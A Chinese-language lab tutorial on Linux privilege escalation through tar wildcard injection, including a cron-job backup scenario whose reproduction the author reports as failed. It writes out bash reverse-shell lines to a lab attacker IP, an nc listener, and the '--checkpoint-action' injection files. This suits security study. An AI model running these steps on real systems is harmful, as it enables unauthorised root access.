[权限提升] Linux 提权 维持 — 系统错误配置提权 - 通配符(ws)注入提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:通配符(ws)注入提权原理
通配符注入提权的核心是利用通配符的扩展特性,在命令执行时生成意外的参数或文件名,从而改变命令的行为。这种技术通常用于以下场景:
-
命令注入: 通过构造特殊的文件名或参数,使命令执行额外的操作。
-
权限绕过: 如果一个程序以高权限(如
root
)运行,并使用了通配符,攻击者就可以通过构造特殊的文件名来注入命令,从而获得高权限。
0x0101:基础知识 — 通配符的基本概念
在 Unix/Linux 系统中,通配符可以被用来进行模糊匹配,常见的通配符包括如下三种:
-
*
=> 匹配任意数量的字符(包括空字符) -
?
=> 匹配单个字符 -
[]
=> 匹配括号中的任意单一字符,可以使用连字符-
表示范围,比如[0-9]
下面笔者以几个例子讲解一下通配符的常见用法,首先输入下面的命令,创建几个示例文件:
touch 1.txt 2.txt 12.txt a.txt b.txt ab.txt abc.txt
0x0102:概念引入 — 统配符(ws)注入
我们知道,在 Linux 中,通过 --help
可以查看一个命令的用法,比如:
cat --help
那么现在,我们在当前目录下使用命令创建 file1
、file2
与 --help
文件:
echo "1" > file1
echo "2" > file2
echo "3" > --help
我们知道,cat file1
肯定会显示 file1
文件中的内容也就是 1
,cat file2
肯定会显示 file2
文件中的内容,即 2
,那么 cat --help
会显示啥呢?会显示 3
还是 cat
的帮助命令:
如上,--help
文件中的命令是无法被使用命令直接读取的。再进一步,如果我们运行 cat *
会发生什么呢:
如上,当我们运行 cat *
,可以发现,它还是显示了 cat
的帮助信息,而没有显示 --help
文件中的内容,这种技巧就被称为 Wildcard wildness,即 ”通配符(ws)命令注入“。
0x02:通配符(ws)注入提权姿势
通配符(ws)注入的利用,限制的有些严格。因为触发该漏洞的原因实际是因为命令使用通配符时错误的把文件名当作参数来执行了,结果导致注入从而提权。
通配符(ws)注入的利用可以结合前面介绍的 SUID、Sudo、定时任务、环境变量劫持提权,总之,如果你看到一个以高权限运行的任务中包含 *
号,你就可以考虑这种利用姿势。
0x0201:tar — ws 注入提权姿势
1. tar — ws 注入理论基础
tar
命令是 Linux 中的压缩命令,可以对文件进行压缩,以下是它的基本用法:
tar -czf html.tgz 1.html # 将文件 1.html 压缩成 html.tgz
它也可以利用通配符一次性压缩多个文件:
tar -czf html.tgz *.html # 将文件夹中的所有 HTML 文件压缩成 html.tgz
我们知道的,tar
命令是可以执行 Linux 系统命令的,格式如下:
tar -czf html.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami
2. tar — ws 注入实操流程
那么劫持方法就很简单了,在运行 tar 命令的目录下面,创建一个 shell.sh 内容如下(一个 Bash 反弹链接的代码),并赋予其可执行权限:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1
然后使用下面的命令创建针对 tar
命令的注入文件:
拓展:Unix/Linux
--
(双连字符)作用解析在 Unix/Linux 系统中,
--
是一个特殊的符号,用于表示命令行选线的结束。它的作用是告诉命令解析器:后面的内容不是选项,即使它们以-
开头。
# touch -- 中的 --(双连字符)用于表示命令行选项的结束,
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
你在攻击机上做好监听后,在靶机中输入下面的内容,一个很正常的压缩命令(*
前面有其他字符时似乎是无法利用的):
tar -czf html.tgz *
如上,成功使用 ws 注入拿到靶机的 Shell,倘若这个压缩是一个 Root 用户的定时任务的话,我们就可以利用该特性直接进行提权。
0x03:通配符(ws)注入提权场景代入
直接使用通配符(ws)注入提权不太可能,管理员看到你目录下有这个文件,多少都会起疑心。所以 ws 注入提权多与前面讲解的几种提权方式搭配使用,作用一种思路的拓展。
0x0301:通配符注入 + 定时任务提权
一般管理员都有备份网站的习惯,部分管理员会直接使用定时任务进行备份,如果管理员在进行备份时滥用了通配符,就可能会被导致提权。
1. 通配符注入 + 定时任务提权 — 环境搭建
复现环境
靶机 CentOS 7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.136
首先创建一个 /www/html
目录,并授予这两个目录 777 权限(让普通用户也可以读取写入),然后在该目录下通过 touch 1.html
命令创建一个 html 文件:
然后在 /www/html
文件夹中创建一个 backup.sh
文件,文件内容如下:
#!/bin/bash
tar -czf /tmp/html.tgz *
上面这个脚本会将当前目录下所有文件打包到 /tmp/html.tgz
中,然后使用下面这个命令赋予其执行权限:
chmod 744 /www/html/backup.sh
然后以 root 身份往 /etc/crontab
中写入如下定时任务:
*/1 * * * * root /www/html/backup.sh
然后我们等待一分钟,查看 /tmp
目录下,如果出现了 html.tgz
文件则证明环境搭建完成:
2. 通配符注入 + 定时任务提权 — 漏洞复现
2.1 拿到靶机低权限用户 Shell
提权的前提肯定是你先拿到了一台机器的权限,所以我们得先让靶机上线到 Kali 中。登录 Kali 攻击机,输入下面的命令,监听本机的 7777 端口,等待 Shell:
nc -lvp 7777
然后登录靶机,以低权限用户执行下面的命令,使用 Bash 反弹链接,将权限移交给攻击机:
bash -i >&/dev/tcp/192.168.0.136/7777 0>&1
此时回到 Kali 攻击机,可以看到靶机直接上线:
2.2 发现不安全的计划任务
查看系统计划任务,发现一个以 Root 身份运行的 backup.sh
任务:
cat /etc/crontab
我们尝试查看一下这个计划任务的内容:
ls -al /www/html/backup.sh # 查看文件权限
cat /www/html/backup.sh # 查看文件内容
如上,对于 /www/html/backup.sh
文件,我们只有读权限,没有编辑权限。查看文件内容,发现其存在通配符滥用的情况,有被利用的可能性。
2.3 创建通配符注入文件
由于是 tar
命令定时任务,所以我们对应的 WS 注入文件如下:
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
backup.sh 文件中会定期备份 /www/html
文件夹中的内容,所以我们需要将 WS 注入文件写到 /www/html
目录下(写在子路径也是无法利用成功的),我们执行注入还需要一个 shell.sh
文件,所以我们还得创建它。依次输入下面几条命令,完成这些操作:
# 1. 创建反弹链接文件
echo "bash -i >&/dev/tcp/192.168.0.136/8888 0>&1" > /www/html/shell.sh
# 2. 为 shell.sh 文件赋予执行权限
chmod 777 /www/html/shell.sh
# 3. 创建 tar 命令对应的注入文件
touch -- /www/html/'--checkpoint=1'
touch -- /www/html/'--checkpoint-action=exec=sh shell.sh'
然后在攻击机中新开一个窗口,使用 nc -lvp 8888
命令监听 8888
端口,等待靶机定时任务执行后上线。
2.4 复现失败
很遗憾,等待许久,靶机并没有以 Root 权限上线,虽然复现失败了,但笔者这里依旧写出来是因为发现了一个有趣的事情。看看 /var/log/cron
内容:
如上,使用计划任务运行 /www/html/backup.sh
,就不能反弹 Shell,但是我直接运行 /www/html/backup.sh
就能反弹。笔者还特意退出了 root 用户身份,生怕是我抢了它的权限,但是很遗憾,一分钟过去了,依旧未能拿到 Shell。
通配符注入 + 计划任务拿高权限 Shell 是失败了,但是笔者还有一计。如果我赋予 /backup.sh
文件 SUID 权限呢(这个应该没问题,读者可以试验一下) 。。。。